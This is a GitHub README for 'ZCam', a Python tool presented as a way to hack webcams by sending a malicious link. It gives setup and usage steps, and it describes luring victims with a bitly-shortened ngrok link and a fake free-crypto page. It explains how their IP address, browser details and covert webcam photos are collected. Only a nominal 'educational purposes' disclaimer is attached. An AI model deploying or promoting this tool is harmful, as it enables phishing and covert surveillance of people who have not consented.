Skip to content

sankethj/z-cam

Repository files navigation

ZCam

Hack webcam using python by sending malicious link.

logo

FEATURES :

  • [+] Real-time Camera hacking
  • [+] Python compatible
  • [+] Less Size
  • [+] Updated regularly
  • [+] URL Shortener using bitly [V 2.0]
  • [+] Telegram Support [V 3.0]
  • [+] Heroku deploy [V 3.1] -----> (Beta testing)
  • [-] Multiple templates [V 4.0] (coming soon)
  • [-] Enhanced template trick [V 5.0] (coming soon)

TESTED ON :

  • Ubuntu
  • Kali Linux
  • Termux

INSTALLATION for TERMINAL:

  • Install any Python 3.x version
  • Make sure you are using pip of Python3, to check pip --version
  • git clone https://github.com/sankethj/z-cam
  • pip install -r requirements.txt
  • For detailed explanation check on blogger

INSTALLATION for HEROKU: (beta testing)

  • Heroku version of script is still under test. You can work on it if you like. I'll inform when its up.

  • Deploy on Heroku

    Deploy

HOW TO USE :

  • You need to signup in Bitly and get your access token in API session
  • Now in the project directory there is a file called constraints.py, in that replace your_token with your access token
  • After running the script, it will ask if you want to shorten the ngrok link type y or else type n
  • you will be provided with ngrok tunnel link with or without shortened depending on what yoy have choosen
  • Send that link to Client
  • Cam Images will be stored in the directory called capture.
  • Captured Cam Image will be saved in the format of img_<year-month-day> <time_24hr_format>.png
  • Clients' ip address, User-Agent (system, browser) details and it will be saved in the file called myfile.txt
  • Make sure you use Wifi or Hotspot turned ON while using this tool.

USAGE :

  • python3 zcam.py
  • Now tool will ask if you need any special assistance or not choose your accordingly needs. If you wishes to use any then make sure you have already added your own respective token in constraints.py. Watch video for more usage info.
  • First time while running the tool, you need to start and test yourself. Most of time due to some problem in flask it wont take images properly. After getting tunneling link quit the program and start it again. It will work fine definitely.
  • I have also added zbot.py file, which you can deploy on any platform to host your bot (like deploying in Heroku).

CONCEPT :

  • For detailed explanation check on blogger
  • This tool is Python compatible
  • It uses Flask to host web-server
  • If you go through the code, there is both GET and POST requests made.
  • GET request will provide you the Clients' ip address, User-Agent details and it will be saved in the file called myfile.txt
  • POST request will provide you the Clients' Base64 encoded Cam image data and it will be decrypted and stored as image file in capture directory
  • I used pyngrok (the wrapper of ngrok), to create https tunnel and bitly to shorten the tunneled URL

SCREENSHOTS :

  • Replace with your bitly access token here

token

  • Working of zcam.py

tool1

  • Captured Cam image files

tool2

  • A Sample crypto webpage which attract more client for free crypto

webpage

  • Files stored

files

YOUTUBE :

YOUTUBE

CONTACT :

Telegram Twitter

REFERENCES :

  • Musa
  • Saycheese (thelinuxchoice)

WARNING :

This tool is only for educational purposes. If you use this tool for other purposes except educational we will not be responsible in such cases.

DONATIONS :

  • We don't ask much, if possible feed stray animals in your free time.

About

The First Python Compatible Camera Hacking Tool

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published